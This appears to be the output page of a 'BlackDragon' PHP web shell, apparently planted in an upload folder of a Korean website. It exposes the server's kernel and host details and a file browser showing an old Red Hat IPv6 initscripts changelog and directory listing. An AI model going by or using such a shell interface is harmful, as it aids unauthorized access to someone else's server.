walking.or.kr:80

Linux gcloud-seoul-ac4c28f9ef4b3e1b6ecaa706e0113ee7 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
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File Name : changes.ipv6

v1.6 2nd Sep 2003, Pekka Savola <pekkas@netcore.fi>

IPv6 CHANGES
============

This mentions the most important changes (visible to the administrator)
in IPv6 initscripts.

RHL9 -> CURRENT
---------------

- no major functional changes, only bugfixes and cleanups

RHL80 -> RHL9
-------------

- 6to4 device MTU is calculated explicitly, IPV6TO4_MTU support added
 - add route6-<device> static route support
 - secondary IPv6 addresses are configurable on tunnel interfaces too

RHL73 -> RHL80
--------------

- no major functional changes

RHL72 -> RHL73
--------------

- 6to4 device changed from sit0 to tun6to4
 - 6to4 assumes the anycast (closest) 6to4 server is used (192.88.99.1)
   unless specified with IPV6TO4_RELAY.
 - 6to4 does not support automatic tunneling *at all* anymore; use
   IPV6_AUTOTUNNEL if you want to use it.
 - All support from NBMA tunnels as well as 6to4 using sit0 was removed
 - IPV6TO4_CONTROL_RADVD and IPV6TO4_RADVD_PIDFILE was changed to
   IPV6_*, respectively.
 - IPV6_DEFAULTGW and IPV6_DEFAULTDEV support was introduced;
   /etc/sysconfig/static-routes-ipv6 must not be used for them anymore.

Rough guide to migration:
 - Rename IPV6TO4_CONTROL_RADVD to IPV6_CONTROL_RADVD if exists
 - Rename IPV6TO4_RADVD_PIDFILE to IPV6_RADVD_PIDFILE if exists
 - Remove "default" route from /etc/sysconfig/static-routes-ipv6 and replace
   it with something like IPV6_DEFAULTDEV=tun6to4 in /etc/sysconfig/network
 - If you need autotunneling, use IPV6_AUTOTUNNEL in /etc/sysconfig/network

RHL71 -> RHL72
--------------

- 6to4 tunneling support was added using device sit0
 - Tunneling method was changed from NBMA (now obsolete) to dedicated
 - Automatic tunneling configured was moved from ifcfg-sit0 to
   IPV6_AUTOTUNNEL at /etc/sysconfig/network

Some more information
---------------------

http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/scripts/current/ ,in particular:
http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/scripts/current/index.html#migration

System Information
*ReClick For Close
File : BlackDragon /bbs/upfile/notice/202307230555476_1.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2021-03-09 12:40:08
..	dir	-	root/root	0755	2024-05-04 01:43:04
examples	dir	-	root/root	0755	2021-03-09 12:40:08
COPYING	text/plain	17.59 KB	root/root	0644	2020-05-22 10:44:33
changes.ipv6	text/plain	1.95 KB	root/root	0644	2020-05-22 10:44:33
ipv6-6to4.howto	text/plain	4.99 KB	root/root	0644	2020-05-22 10:44:33
ipv6-tunnel.howto	text/plain	2.81 KB	root/root	0644	2020-05-22 10:44:33
static-routes-ipv6	text/plain	708 B	root/root	0644	2020-05-22 10:44:33
sysconfig.txt	text/plain	40.1 KB	root/root	0644	2020-05-22 10:44:33
sysvinitfiles	text/plain	6.21 KB	root/root	0644	2020-05-22 10:44:33